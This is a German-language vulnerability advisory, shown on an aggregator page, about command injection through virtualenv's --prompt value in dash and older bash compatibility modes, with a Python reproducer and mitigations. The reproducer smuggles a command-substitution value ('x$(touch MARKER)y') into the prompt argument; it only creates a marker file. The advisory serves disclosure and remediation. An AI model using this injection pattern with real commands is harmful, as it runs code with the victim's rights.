Hoch

virtualenv: Bash-Prompt-Werte können unter älteren Kompatibilitätsmodi ihre Bedeutung ändern

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 18.11.2026 14:17

Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.

Zusammenfassung

Vom Aufrufer bereitgestellter Prompt-Text kann im Bash-Aktivierungs-Prompt zu ausführbarer Syntax werden. Ein Angreifer muss den an virtualenv übergebenen Wert beeinflussen, und ein Benutzer muss anschließend die Umgebung aktivieren und den Prompt darstellen lassen.

Betroffener Bereich

Bash läuft mit Kompatibilitätsstufe 4.2 und zeichnet den Umgebungs-Prompt. Das Ersetzungsstring-Verhalten unterscheidet sich von neueren Kompatibilitätsmodi, wodurch der Prompt-Text einer zweiten Interpretation unterliegt. Der Bericht betrifft die POSIX-Aktivierung. Eine Gefährdung durch nicht verwandte Aktivatoren wird nicht nachgewiesen.

Durch Angreifer kontrollierte Eingabe

Der Angreifer kontrolliert Prompt- oder Zieldaten, die als virtualenv-Argument übergeben werden. Der Benutzer führt später das generierte Aktivierungsskript mittels source aus.

Betroffener Code

Der relevante 21.14.8-Quellcode befindet sich in bash prompt assembly.

Mechanismus

bin/activate kopiert den Prompt nach PS1. Eine Shell expandiert PS1 erneut beim Zeichnen eines Prompts, sodass der Wert sowohl die Zuweisung als auch die spätere Expansion überstehen muss. Die bash- und zsh-Zweige maskieren nach ihren üblichen Prompt-Regeln. Drei andere Pfade interpretieren Prompt-Daten weiterhin als Befehle: dash beim direkten Sourcen von activate, eine untergeordnete dash, die ein exportiertes PS1 von bash erbt, sowie bash unter Kompatibilitätsstufe 4.2 oder niedriger. Ein Wert wie x$(touch MARKER)y führt dann bei der Prompt-Anzeige touch aus. Das Erstellen der Umgebung führt die Payload nicht aus.

Reproduktion und Nachweis

Der Child-Shell-Reproducer des Scanners erstellt eine Umgebung mit --prompt 'x$(touch MARKER)y', sourct bin/activate in einer interaktiven bash und startet eine interaktive sh (dash). Die Kontrollausführung belässt PS1 unexportiert: keine der Shells erstellt MARKER. Wenn PS1 exportiert ist, zeigt bash den Prompt an, ohne den Wert auszuführen, die untergeordnete dash erstellt jedoch MARKER; der Reproducer endet mit BUG. Der Bericht liefert separate Konsolenreproduktionen für direkte dash-Aktivierung und bash-Kompatibilitätsstufe 4.2. Der Pfad über die untergeordnete Shell kann auftreten, nachdem die Aktivierung einer anderen Umgebung PS1 exportiert hat.

Der Scanner verknüpfte diesen Befund mit #3326 und dem dazugehörigen Follow-up #3390. Diese Änderungen decken den üblichen bash-Pfad ab, lassen jedoch die drei oben genannten Pfade offen. Die vorgeschlagene Änderung in #3418 behält eine Variablenreferenz in PS1 bei, sodass der Prompt-Text beim Zeichnen als Daten expandiert wird. Der Reproducer des privaten Berichts wurde vom Scanner ausgeführt; das spätere Befehlsausführungsergebnis wurde durch die Maintainer-Prüfung beigesteuert. Diese Meldung behauptet nicht, dass jede POSIX-Shell oder jeder bash-Modus betroffen ist.

Eingeführt

Der Bericht führt das direkte Sourcen in dash auf den ersten 20.x-Aktivator zurück (20.0.0b1) und vererbtes PS1 auf #3390 (erstmals veröffentlicht in 21.14.7). Der Fall der Kompatibilitätsstufe wird auf bash 5.2 demonstriert. Diese historischen Grenzen stammen aus dem Bericht; die vom Maintainer bestätigte Version ist 21.14.8.

Angriffsablauf

mermaid
sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv
    participant B as Interactive bash
    participant D as Child dash
    A->>V: --prompt x$(touch MARKER)y
    V->>B: generated bin/activate
    B->>B: assign escaped prompt to PS1
    alt PS1 is not exported
        B->>D: start sh with its own PS1
        D-->>B: marker absent
    else PS1 is exported
        B->>D: start sh with inherited PS1
        D->>D: expand $(touch MARKER) on prompt draw
        D-->>B: marker created
    end

Reproducer-Dateien

Die folgenden Dateien stammen aus dem Scanner-Bericht für ANT-2026-1MOI2X3T. Sie wurden gegen Commit a857a7823c73 im Scanner-Image getestet. Der repro-Einstiegspunkt erwartet Begleitdateien unter /tmp/repro.d; Fälle, die Benutzer-IDs ändern, erfordern einen separaten Container mit Root-Rechten. Die letzte Ausgabezeile ist BUG, wenn das gemeldete Verhalten auftritt. Diese Dateien sind als Nachweis beigefügt und wurden für dieses Advisory-Update nicht erneut ausgeführt.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

work = Path("/tmp/repro-inherited-ps1")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
marker = work / "MARKER"
print("sh is", Path("/bin/sh").resolve())

# attacker: only the text a tool such as tox or hatch relays as --prompt
hostile_prompt = f"x$(touch {marker})y"

# set up: the environment, made with the virtualenv command
subprocess.run(
    ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash",
     "--prompt", hostile_prompt, str(work / "env")],
    check=True, stdout=subprocess.DEVNULL,
)
assert not marker.exists(), "creating the environment must not run the prompt"

# user: in an interactive bash, source bin/activate, then start sh.
# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns
session = Path("/tmp/repro.d/user_session.sh").read_text()
interactive_bash = ["bash", "--norc", "--noprofile", "-i"]

# control: PS1 set in bash but not exported, so sh does not inherit it
control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session,
                         stderr=subprocess.PIPE, text=True, check=True)
print(control.stderr)
ran_in_control = marker.exists()
print("CONTROL  PS1 not exported: marker created:", ran_in_control)

# attack: the same session with the one difference that PS1 is exported
attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session,
                        stderr=subprocess.PIPE, text=True, check=True)
print(attack.stderr)
ran_in_attack = marker.exists()
print("OBSERVED PS1 exported:     marker created:", ran_in_attack)

# check: the prompt text must be drawn, never run, by every shell that draws it
print("BUG" if ran_in_attack and not ran_in_control else "OK")

repro.d/user_session.sh

. /tmp/repro-inherited-ps1/env/bin/activate
sh -i </dev/null

Auswirkungen

Eine betroffene Aktivierung kann Befehle mit den Rechten des Benutzers ausführen. Der Schweregrad ist hoch, entsprechend dem Präzedenzfall für generierte Skripte in GHSA-p58f-9548-mpm2. Der Angriff erfordert die Kontrolle über Argumentdaten und eine anschließende Aktivierung durch den Benutzer; das Ersetzen einer ausführbaren Datei oder die Kontrolle über App-Daten-Inhalte ist nicht erforderlich.

Getestete Versionen

Die bereitgestellte Nachfolgeprüfung kennzeichnet die Befehlsausführung als von ihrem Autor unabhängig bestätigt. Die Implementierungsprüfung nutzte Quellcode-Inspektion und Prüfungen gepatchter Literalwerte, ohne dieses Exploit erneut auszuführen. Der relevante Aktivierungsquellcode ist zwischen Version 21.14.8 und upstream/main 233359cb identisch. Der Maintainer hat zuvor die Validierung der gemeldeten Ergebnisse auf 21.14.8 bestätigt. Die erste betroffene Version ist nicht abschließend bestimmt. Behoben in 21.14.9.

Bekannte Abhilfemaßnahmen

Verwenden Sie vertrauenswürdige Prompt- und Zielwerte. Deaktivieren Sie bei älteren Versionen den Umgebungs-Prompt mit VIRTUAL_ENV_DISABLE_PROMPT=1. Erstellen Sie Umgebungen mit virtualenv 21.14.9 oder neuer neu.

Betroffene Version

  • Das Problem lässt sich auf virtualenv 21.14.8 reproduzieren.

Danksagung

Der ursprüngliche Bericht wurde von Anthropics OSS Scanner als ANT-2026-1MOI2X3T bereitgestellt. Die nachfolgende, vom Maintainer bereitgestellte Überprüfung identifizierte den verbleibenden Aktivierungspfad.

Was zu tun ist

Erstellen Sie Umgebungen mit virtualenv 21.14.9 oder neuer neu (behoben in 21.14.9). Verwenden Sie auf älteren Versionen vertrauenswürdige Prompt- und Zielwerte oder deaktivieren Sie den Umgebungs-Prompt durch Setzen von VIRTUAL_ENV_DISABLE_PROMPT=1.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) virtualenv >= 20.0.0, < 21.14.9 21.14.9

Verweise

CVSS-Wert 7.8/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-78
Plattform
Python (PyPI)
Paket
virtualenv
Veröffentlicht
20.10.2026
Aktualisiert
18.11.2026 14:17

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - PYSEC-2026-4382 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6w3r-xr62-4xcp - CC BY 4.0

Schwachstellenhistorie: virtualenv

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (21) im Archiv
Einträge insgesamt
21
Erste → letzte
12.2011 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 13
  • Mittel 8

Veröffentlichungen pro Jahr

  1. 2017: 0
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 0
  10. 2026: 19

früher: 1

Schweregrad:
  1. virtualenv: Bash-Prompt-Werte können unter älteren Kompatibilitätsmodi ihre Bedeutung ändern dieser Eintrag
    Hoch · 7.8 CVE-2026-113723 >= 20.0.0, < 21.14.9 21.14.9
  2. Hoch · 7.8 CVE-2026-113718 >= 21.3.0, < 21.14.9 21.14.9
  3. Hoch · 7.8 CVE-2026-113722 >= 20.0.0, < 21.14.9 21.14.9

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.